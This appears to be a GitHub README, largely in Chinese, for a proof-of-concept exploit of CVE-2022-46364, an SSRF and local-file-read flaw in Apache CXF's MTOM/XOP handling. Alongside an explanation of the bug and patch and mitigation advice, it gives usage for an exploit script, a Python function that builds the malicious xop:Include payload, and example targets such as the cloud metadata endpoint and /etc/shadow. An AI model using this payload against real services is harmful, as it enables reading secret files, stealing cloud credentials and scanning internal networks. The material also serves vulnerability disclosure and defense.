
This vulnerability allows an attacker to perform SSRF (Server-Side Request Forgery) attacks on Apache CXF webservices that accept MTOM/XOP requests. The issue exists in how the href attribute of xop:Include is parsed, allowing arbitrary URLs to be requested by the server.
此工具仅供教育和已授权的安全测试使用
此概念验证利用工具仅用于教育目的,帮助安全专业人员了解该漏洞并保护其系统。未经授权访问计算机系统是违法的。作者对因使用此工具产生的任何误用或损害不承担任何责任。在测试前,您必须获得系统所有者的明确书面许可。使用此工具即表示您同意遵守所有适用法律。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2022-46364 |
| GHSA ID | GHSA-x3x3-qwjq-8gj4 |
| 漏洞类型 | 服务端请求伪造 (SSRF) → 本地文件包含 (LFI) |
| 受影响软件 | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| 严重性 | 严重 |
| CVSS 评分 | 9.8 (严重) |
| 攻击向量 | 网络 |
| 认证要求 | 无需认证 |
| 补丁版本 | Apache CXF 3.5.5+, 3.4.10+ |
此利用工具利用 Apache CXF 的 MTOM(消息传输优化机制)实现中的一个严重 SSRF 漏洞,从而实现**本地文件包含(LFI)**和内部网络扫描能力。
当处理 MTOM 编码的 SOAP 消息时,Apache CXF 错误地验证了 xop:Include 元素中的 href 属性。该库使用 Java 的 URLConnection 来解引用 URI,而没有适当的协议限制,允许攻击者指定:
file:// - 读取本地文件 (LFI)http:// / https:// - 内部网络请求 (SSRF)ftp:// - FTP 请求(可能进一步利用)此漏洞特别危险,原因如下:
任何符合以下条件的 Apache CXF 部署:
MTOM(消息传输优化机制)是 W3C 标准,用于优化 SOAP 消息中的二进制数据传输。它使用 XOP(XML 二进制优化打包)来包含二进制数据引用:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
通常,href 包含一个指向 MIME 部分的 CID(内容标识符)引用。然而,Apache CXF 的 AttachmentUtil 类将 href 值作为通用 URI 处理,而没有进行适当的清理。
请求解析:
Content-Type 为 application/xop+xmlAttachmentUtil.getAttachmentObject() 处理 xop:Include 元素URI 解引用:
new URL(href).openStream()file:// 协议阻止响应嵌入:
// 简化表示的 CXF < 3.5.5 中的脆弱代码
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // 无协议验证!
return new DataHandler(url.openStream());
}
file:// 协议遵循相同的代码路径:
file:///etc/passwd → Java 以文件流方式打开 /etc/passwd通过遍历 IP 和端口,攻击者可以:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help 显示此帮助信息并退出
-t TARGET, --target TARGET
目标基础 URL(例如 http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web 服务端点路径(默认:/services/Service)
-u URL, --url URL 用于 SSRF 的外部 URL(例如 http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE 用于 LFI 的本地文件路径(例如 /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN 扫描内部网络范围,格式为 CIDR 表示法(例如 192.168.1.0/24)
# 需要 Python 3.6 或更高版本
python --version
# 克隆仓库
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### 依赖
requests>=2.28.0 urllib3>=1.26.0
---
### 核心实现细节
#### 1. MTOM 载荷构造
```python
def create_mtom_payload(uri):
"""创建一个包含 xop:Include 的 multipart/related MTOM 消息"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
升级到已修补的版本:
<!-- 对于 Maven 项目 -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- 或旧版 3.4.10 -->
</dependency>
完全禁用 MTOM(如果不需要):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
网络级控制:
Web 应用防火墙 (WAF) 规则:
xop:Include 且 href 指向 file:// 或内部 IP 地址的请求此漏洞由以下研究人员发现并负责任地披露:
此工具仅供教育目的。禁止未经授权的使用。
本软件按“现状”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对因本软件或本软件的使用或其他交易而引起的任何索赔、损害或其他责任负责,无论是合同行为、侵权行为还是其他行为。
最后更新: 2026年3月
版本: 1.0
联系方式: 如有安全问题或疑问,请在 GitHub 上提交 issue。
本文档是负责任的 security 研究的一部分。测试前请务必获得适当授权。
| 参数 | 描述 | 示例 |
|---|
-t, --target | 必需。目标 Apache CXF 服务的基础 URL | http://10.10.10.50:8080 |
-e, --endpoint | 可选。SOAP 端点路径 | /services/UserManagement |
-u, --url | 通过 SSRF 获取的 HTTP/HTTPS URL | http://169.254.169.254/latest/user-data |
-f, --file | 通过 LFI 读取的本地文件路径 | /etc/shadow, C:\ProgramData\secret.txt |